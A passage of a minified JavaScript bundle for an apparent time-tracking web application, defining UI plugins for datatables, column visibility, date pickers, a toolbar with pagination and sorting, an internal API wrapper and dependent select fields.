e,n,i,r=T(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).dataAttribute=t,e}return e=o,(n=[{key:"getId",value:function(){return"datatable-column-visibility"}},{key:"init",value:function(){var t=document.querySelector("["+this.dataAttribute+"]");null!==t&&(this.id=t.getAttribute(this.dataAttribute),this.modal=document.getElementById("modal_"+this.id),this.bindButtons())}},{key:"bindButtons",value:function(){var t=this;this.modal.querySelector("button[data-type=save]").addEventListener("click",(function(){t.saveVisibility()})),this.modal.querySelector("button[data-type=reset]").addEventListener("click",(function(){t.resetVisibility()}));var e,n=x(this.modal.querySelectorAll("form input[type=checkbox]"));try{var i=function(){var n=e.value;n.addEventListener("click",(function(){t.changeVisibility(n.getAttribute("name"),n.checked)}))};for(n.s();!(e=n.n()).done;)i()}catch(t){n.e(t)}finally{n.f()}}},{key:"saveVisibility",value:function(){var t,e=this.modal.getElementsByTagName("form")[0],n={},i=x(e.querySelectorAll("input[type=checkbox]"));try{for(i.s();!(t=i.n()).done;){var r=t.value;n[r.getAttribute("name")]=r.checked}}catch(t){i.e(t)}finally{i.f()}b.a.set(e.getAttribute("name"),JSON.stringify(n),{expires:365,SameSite:"Strict"}),_()(this.modal).modal("toggle")}},{key:"resetVisibility",value:function(){var t=this.modal.getElementsByTagName("form")[0];b.a.remove(t.getAttribute("name"));var e,n=x(t.querySelectorAll("input[type=checkbox]"));try{for(n.s();!(e=n.n()).done;){var i=e.value;i.checked||i.click()}}catch(t){n.e(t)}finally{n.f()}_()(this.modal).modal("toggle")}},{key:"changeVisibility",value:function(t,e){var n,i=x(document.getElementsByClassName("datatable_"+this.id));try{for(i.s();!(n=i.n()).done;){var r,o=n.value,a=0,s=!1,l=o.getElementsByClassName("dataTable")[0],c=x(l.getElementsByTagName("th"));try{for(c.s();!(r=c.n()).done;){var u=r.value;if(u.getAttribute("data-field")===t){s=!0;break}null!==u.getAttribute("colspan")&&console.log("Tables with colspans are not supported!"),a++}}catch(t){c.e(t)}finally{c.f()}if(!s)return;var d,f=x(l.getElementsByTagName("tr"));try{for(f.s();!(d=f.n()).done;){var h=d.value;void 0!==h.children[a]&&(e?h.children[a].classList.remove("hidden"):h.children[a].classList.add("hidden"))}}catch(t){f.e(t)}finally{f.f()}}}catch(t){i.e(t)}finally{i.f()}}}])&&D(e.prototype,n),i&&D(e,i),o}(l.a);function E(t){return(E="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function P(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function A(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Y(t,e){return(Y=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function j(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=I(t);if(e){var r=I(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return R(this,n)}}function R(t,e){return!e||"object"!==E(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function I(t){return(I=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var $=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Y(t,e)}(o,t);var e,n,i,r=j(o);function o(){return P(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"init",value:function(){this.registerGlobalAjaxErrorHandler(),this.registerAutomaticAlertRemove("div.alert-success",5e3),_()(".dropdown-toggle").dropdown(),_()('[data-toggle="tooltip"]').tooltip(),this.getContainer().getPlugin("form").activateForm(".content-wrapper form","body"),this.getContainer().getPlugin("form").activateForm("form.searchform","body")}},{key:"registerGlobalAjaxErrorHandler",value:function(){var t=this.getConfiguration("login"),e=this.getContainer().getPlugin("alert"),n=this.getContainer().getTranslation().get("login.required");_()(document).ajaxError((function(i,r,o,a){void 0!==r.status&&403===r.status&&null!==r.getResponseHeader("login-required")&&e.question(n,(function(e){!0===e&&window.location.replace(t)}))}))}},{key:"registerAutomaticAlertRemove",value:function(t,e){var n=this;this._alertRemoveHandler=setInterval((function(){n.hideAlert(t)}),e)}},{key:"unregisterAutomaticAlertRemove",value:function(){clearInterval(this._alertRemoveHandler)}},{key:"hideAlert",value:function(t){_()(t).alert("close")}}])&&A(e.prototype,n),i&&A(e,i),o}(l.a);function H(t){return(H="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function B(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function z(t,e){return(z=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function N(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=U(t);if(e){var r=U(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return W(this,n)}}function W(t,e){return!e||"object"!==H(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function U(t){return(U=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var q=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&z(t,e)}(a,t);var e,n,i,o=N(a);function a(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,a),(e=o.call(this)).selector=t,e}return e=a,(n=[{key:"getId",value:function(){return"date-range-picker"}},{key:"activateDateRangePicker",value:function(t){var e=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),i=this.getConfiguration("first_dow_iso")%7;_()(t+" "+this.selector).each((function(t){var o=_()(this).data("format"),a=_()(this).data("separator"),s={};s[e.get("today")]=[r()(),r()()],s[e.get("yesterday")]=[r()().subtract(1,"days"),r()().subtract(1,"days")],s[e.get("thisWeek")]=[r()().startOf("isoWeek"),r()().endOf("isoWeek")],s[e.get("lastWeek")]=[r()().subtract(1,"week").startOf("isoWeek"),r()().subtract(1,"week").endOf("isoWeek")],0===i&&(s[e.get("thisWeek")]=[r()().startOf("isoWeek").subtract(1,"day"),r()().endOf("isoWeek").subtract(1,"day")],s[e.get("lastWeek")]=[r()().subtract(1,"week").startOf("isoWeek").subtract(1,"day"),r()().subtract(1,"week").endOf("isoWeek").subtract(1,"day")]),s[e.get("thisMonth")]=[r()().startOf("month"),r()().endOf("month")],s[e.get("lastMonth")]=[r()().subtract(1,"month").startOf("month"),r()().subtract(1,"month").endOf("month")],s[e.get("thisYear")]=[r()().startOf("year"),r()().endOf("year")],s[e.get("lastYear")]=[r()().subtract(1,"year").startOf("year"),r()().subtract(1,"year").endOf("year")],_()(this).daterangepicker({showDropdowns:!0,autoUpdateInput:!1,autoApply:!1,linkedCalendars:!0,locale:{separator:a,format:o,firstDay:i,applyLabel:e.get("confirm"),cancelLabel:e.get("cancel"),customRangeLabel:e.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()},ranges:s,alwaysShowCalendars:!0}),_()(this).on("apply.daterangepicker",(function(t,e){_()(this).val(e.startDate.format(o)+" - "+e.endDate.format(o)),_()(this).data("begin",e.startDate.format(o)),_()(this).data("end",e.endDate.format(o)),_()(this).trigger("change")}))}))}},{key:"destroyDateRangePicker",value:function(t){_()(t+" "+this.selector).each((function(t){void 0!==_()(this).data("daterangepicker")&&(_()(this).daterangepicker("destroy"),_()(this).data("daterangepicker").remove())}))}}])&&B(e.prototype,n),i&&B(e,i),a}(l.a);n("EnZy"),n("TeQF"),n("fbCW");function F(t){return(F="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function V(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return K(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return K(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function K(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function G(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function J(t,e){return(J=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Z(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=X(t);if(e){var r=X(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Q(this,n)}}function Q(t,e){return!e||"object"!==F(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function X(t){return(X=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var tt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&J(t,e)}(o,t);var e,n,i,r=Z(o);function o(t,e){var n;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(n=r.call(this)).contentArea=t,n.selector=e,n}return e=o,(n=[{key:"getId",value:function(){return"datatable"}},{key:"init",value:function(){var t=document.querySelector(this.selector);if(null!==t){var e=t.dataset.reloadEvent;if(this.fixDropdowns(),void 0!==e){var n,i=this,r=function(){i.reloadDatatable()},o=V(e.split(" "));try{for(o.s();!(n=o.n()).done;){var a=n.value;document.addEventListener(a,r)}}catch(t){o.e(t)}finally{o.f()}document.addEventListener("pagination-change",r),document.addEventListener("filter-change",r)}}}},{key:"reloadDatatable",value:function(){var t=this,e=this.contentArea,n=this.getContainer().getPlugin("timesheet-duration"),i=this.getContainer().getPlugin("toolbar").getSelector(),r=_()(i);_()(e).append('<div class="overlay"><i class="fas fa-sync fa-spin"></i></div>');var o=_()(i+" :input").filter((function(t,e){return""!==_()(e).val()})).serialize();_.a.ajax({url:r.attr("action"),type:r.attr("method"),data:o,success:function(i){_()(e).replaceWith(_()(i).find(e)),n.updateRecords(),t.fixDropdowns()},error:function(t,e){r.submit()}})}},{key:"fixDropdowns",value:function(){var t=_()(document).height();_()(this.selector+" [data-toggle=dropdown]").each((function(){var e=_()(this).parent(),n=e.find(".dropdown-menu");e&&n&&e.offset().top+e.outerHeight()+n.outerHeight()>t&&e.addClass("dropup").removeClass("dropdown")}))}}])&&G(e.prototype,n),i&&G(e,i),o}(l.a);function et(t){return(et="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function nt(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function it(t,e){return(it=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function rt(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=at(t);if(e){var r=at(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return ot(this,n)}}function ot(t,e){return!e||"object"!==et(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function at(t){return(at=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var st=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&it(t,e)}(o,t);var e,n,i,r=rt(o);function o(t,e){var n;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(n=r.call(this)).formSelector=t,n.actionClass=e,n}return e=o,(n=[{key:"getId",value:function(){return"toolbar"}},{key:"init",value:function(){var t=this.getSelector(),e=this,n=e.getContainer().getPlugin("event");this._registerPagination(t,n),this._registerSortableTables(t,n),this._registerAlternativeSubmitActions(t,this.actionClass),_()(t+" input").change((function(n){switch(n.target.id){case"order":case"orderBy":case"page":break;default:_()(t+" input#page").val(1)}e.triggerChange()})),_()(t+" select").change((function(n){var i=!0;switch(n.target.id){case"customer":_()(t+" select#project").length>0&&(i=!1);break;case"project":_()(t+" select#activity").length>0&&(i=!1)}_()(t+" input#page").val(1),i&&e.triggerChange()}))}},{key:"_registerAlternativeSubmitActions",value:function(t,e){document.addEventListener("click",(function(n){for(var i=n.target;null!==i&&!i.matches("body");){if(i.classList.contains(e)){var r=document.querySelector(t);if(null===r)return;var o=r.action,a=r.method;r.target="_blank",r.action=i.href,void 0!==i.dataset.method&&(r.method=i.dataset.method),r.submit(),r.target="",r.action=o,r.method=a,n.preventDefault(),n.stopPropagation()}i=i.parentNode}}))}},{key:"_registerSortableTables",value:function(t,e){_()("body").on("click","th.sortable",(function(n){var i=_()(n.target),r="DESC",o=i.data("order");i.hasClass("sorting_desc")&&(r="ASC"),_()(t+" #orderBy").val(o),_()(t+" #order").val(r),_()(t+" #orderBy").trigger("change"),_()(t+" #order").trigger("change"),e.trigger("filter-change")}))}},{key:"_registerPagination",value:function(t,e){_()("body").on("click","div.navigation ul.pagination li a",(function(n){var i=_()(t+" input#page");if(0!==i.length){n.preventDefault(),n.stopPropagation();var r=_()(this).attr("href").split("/"),o=r[r.length-1];return i.val(o),i.trigger("change"),e.trigger("pagination-change"),!1}}))}},{key:"triggerChange",value:function(){this.getContainer().getPlugin("event").trigger("toolbar-change")}},{key:"getSelector",value:function(){return this.formSelector}}])&&nt(e.prototype,n),i&&nt(e,i),o}(l.a);function lt(t){return(lt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function ct(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=function(t,e){if(!t)return;if("string"==typeof t)return ut(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);"Object"===n&&t.constructor&&(n=t.constructor.name);if("Map"===n||"Set"===n)return Array.from(t);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return ut(t,e)}(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}function ut(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function dt(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function ft(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function ht(t,e){return(ht=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function pt(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=gt(t);if(e){var r=gt(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return mt(this,n)}}function mt(t,e){return!e||"object"!==lt(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function gt(t){return(gt=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var yt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&ht(t,e)}(o,t);var e,n,i,r=pt(o);function o(){return dt(this,o),r.apply(this,arguments)}return e=o,(n=[{key:"getId",value:function(){return"api"}},{key:"get",value:function(t,e,n,i){_.a.ajax({url:t,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"GET",data:e,dataType:"json",success:n,error:i})}},{key:"post",value:function(t,e,n,i){null==i&&(i=this.getPostErrorHandler()),_.a.ajax({url:t,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"POST",data:e,dataType:"json",success:n,error:i})}},{key:"patch",value:function(t,e,n,i){null==i&&(i=this.getPatchErrorHandler()),_.a.ajax({url:t,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"PATCH",data:e,dataType:"json",success:n,error:i})}},{key:"delete",value:function(t,e,n){null==n&&(n=this.getDeleteErrorHandler()),_.a.ajax({url:t,headers:{"X-AUTH-SESSION":!0,"Content-Type":"application/json"},method:"DELETE",dataType:"json",success:e,error:n})}},{key:"getDeleteErrorHandler",value:function(){var t=this;return function(e,n){t.handleError("action.delete.error",e,n)}}},{key:"getPatchErrorHandler",value:function(){var t=this;return function(e,n){t.handleError("action.update.error",e,n)}}},{key:"getPostErrorHandler",value:function(){var t=this;return function(e,n){t.handleError("action.update.error",e,n)}}},{key:"handleError",value:function(t,e,n){var i=n;if(e.responseJSON&&e.responseJSON.message){if(i=e.responseJSON.message,400===e.status&&e.responseJSON.errors){var r=["<u>"+i+"</u>"];if(e.responseJSON.errors.errors){var o,a=ct(e.responseJSON.errors.errors);try{for(a.s();!(o=a.n()).done;){var s=o.value;r.push(s)}}catch(n){a.e(n)}finally{a.f()}}if(e.responseJSON.errors.children)for(var l in e.responseJSON.errors.children){var c=e.responseJSON.errors.children[l];if(c.hasOwnProperty("errors")&&c.errors.length>0){var u,d=ct(c.errors);try{for(d.s();!(u=d.n()).done;){var f=u.value;r.push(f)}}catch(n){d.e(n)}finally{d.f()}}}r.length>0&&(i=r)}}else e.status&&e.statusText&&(i="["+e.status+"] "+e.statusText);this.getPlugin("alert").error(t,i)}}])&&ft(e.prototype,n),i&&ft(e,i),o}(l.a);n("QWBl"),n("FZtP"),n("Rm1S"),n("oVuX"),n("ToJy"),n("tkto");function vt(t){return(vt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function bt(t,e){return function(t){if(Array.isArray(t))return t}(t)||function(t,e){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(t)))return;var n=[],i=!0,r=!1,o=void 0;try{for(var a,s=t[Symbol.iterator]();!(i=(a=s.next()).done)&&(n.push(a.value),!e||n.length!==e);i=!0);}catch(t){r=!0,o=t}finally{try{i||null==s.return||s.return()}finally{if(r)throw o}}return n}(t,e)||wt(t,e)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function wt(t,e){if(t){if("string"==typeof t)return _t(t,e);var n=Object.prototype.toString.call(t).slice(8,-1);return"Object"===n&&t.constructor&&(n=t.constructor.name),"Map"===n||"Set"===n?Array.from(t):"Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?_t(t,e):void 0}}function _t(t,e){(null==e||e>t.length)&&(e=t.length);for(var n=0,i=new Array(e);n<e;n++)i[n]=t[n];return i}function kt(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function xt(t,e){return(xt=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function St(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=Mt(t);if(e){var r=Mt(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Dt(this,n)}}function Dt(t,e){return!e||"object"!==vt(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function Mt(t){return(Mt=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Tt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&xt(t,e)}(a,t);var e,n,i,o=St(a);function a(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,a),(e=o.call(this)).selector=t,e}return e=a,(n=[{key:"getId",value:function(){return"select-data-api"}},{key:"init",value:function(){this.activateApiSelects(this.selector)}},{key:"activateApiSelects",value:function(t){var e=this,n=this.getContainer().getPlugin("api");_()("body").on("change",t,(function(t){var i="#"+this.dataset.relatedSelect;if(0!==_()(i).length){var r=_()(this).parents("form").first().attr("name");null==r?r="":r+="_";var o=e._buildUrlWithFormFields(this.dataset.apiUrl,r),a=_()(this).val();if(null==a||""===a||Array.isArray(a)&&0===a.length){if(void 0===this.dataset.emptyUrl)return e._updateSelect(i,{}),void _()(i).attr("disabled","disabled");o=e._buildUrlWithFormFields(this.dataset.emptyUrl,r)}_()(i).removeAttr("disabled"),n.get(o,{},(function(t){e._updateSelect(i,t)}))}}))}},{key:"_buildUrlWithFormFields",value:function(t,e){var n=t;return t.split("?")[1].split("&").forEach((function(t){var i=bt(t.split("="),2),o=i[0],a=i[1],s=decodeURIComponent(a).match(/%(.*)%/);if(null!==s){var l=_()("#"+e+s[1]),c="";0===l.length||null!==l.val()&&""!==(c=l.val())&&(void 0!==l.data("daterangepicker")?"begin"===o||"start"===o||l.data("daterangepicker").singleDatePicker?c=l.data("daterangepicker").startDate.format(r.a.HTML5_FMT.DATETIME_LOCAL_SECONDS):"end"===o&&(c=l.data("daterangepicker").endDate.format(r.a.HTML5_FMT.DATETIME_LOCAL_SECONDS)):void 0!==l.data("format")&&r()(c,l.data("format")).isValid()&&(c=r()(c,l.data("format")).format(r.a.HTML5_FMT.DATETIME_LOCAL_SECONDS))),Array.isArray(c)&&(c=c.join(",")),n=n.replace(a,c)}})),n}},{key:"_updateSelect",value:function(t,e){var n,i={},r=function(t,e){var n;if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(n=wt(t))||e&&t&&"number"==typeof t.length){n&&(t=n);var i=0,r=function(){};return{s:r,n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:r}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var o,a=!0,s=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return a=t.done,t},e:function(t){s=!0,o=t},f:function(){try{a||null==n.return||n.return()}finally{if(s)throw o}}}}(e);try{for(r.s();!(n=r.n()).done;){var o=n.value,a="__empty__";o.hasOwnProperty("parentTitle")&&null!==o.parentTitle&&(a=o.parentTitle),i.hasOwnProperty(a)||(i[a]=[]),i[a].push(o)}}catch(t){r.e(t)}finally{r.f()}var s={};Object.keys(i).sort().forEach((function(t){s[t]=i[t]})),this.getContainer().getPlugin("form-select").updateOptions(t,s)}}])&&kt(e.prototype,n),i&&kt(e,i),a}(l.a);function Ct(t){return(Ct="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Lt(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function Ot(t,e){return(Ot=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Et(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=At(t);if(e){var r=At(this).constructor;n=Reflect.construct(i,arguments,r)}else n=i.apply(this,arguments);return Pt(this,n)}}function Pt(t,e){return!e||"object"!==Ct(e)&&"function"!=typeof e?function(t){if(void 0===t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return t}(t):e}function At(t){return(At=Object.setPrototypeOf?Object.getPrototypeOf:function(t){return t.__proto__||Object.getPrototypeOf(t)})(t)}var Yt=function(t){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&Ot(t,e)}(o,t);var e,n,i,r=Et(o);function o(t){var e;return function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,o),(e=r.call(this)).selector=t,e}return e=o,(n=[{key:"getId",value:function(){return"date-time-picker"}},{key:"activateDateTimePicker",value:function(t){var e=this.getContainer().getTranslation(),n=this.getContainer().getPlugin("date"),i=this.getConfiguration("first_dow_iso")%7,r=this.getConfiguration("twentyFourHours");_()(t+" "+this.selector).each((function(t){var o=_()(this).data("format");_()(this).daterangepicker({singleDatePicker:!0,timePicker:!0,timePicker24Hour:r,showDropdowns:!0,autoUpdateInput:!1,locale:{format:o,firstDay:i,applyLabel:e.get("confirm"),cancelLabel:e.get("cancel"),customRangeLabel:e.get("customRange"),daysOfWeek:n.getWeekDaysShort(),monthNames:n.getMonthNames()}}),_()(this).on("apply.daterangepicker",(function(t,e){_()(this).val(e.startDate.format(o)),_()(this).trigger("change")}))}))}},{key:"destroyDateTimePicker",value:function(t){_()(t+" "+this.selector).each((function(t){void 0!==_()(this).data("daterangepicker")&&(_()(this).daterangepicker("destroy"),_()(this).data("daterangepicker").remove())}))}}])&&Lt(e.prototype,n),i&&Lt(e,i),o}(l.a);function jt(t){return(jt="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function Rt(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function It(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function $t(t,e){return($t=Object.setPrototypeOf||function(t,e){return t.__proto__=e,t})(t,e)}function Ht(t){var e=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(t){return!1}}();return function(){var n,i=zt(t);if(e){var r=zt(this).constructor;n=Reflect.construct(i,arguments,r)}else 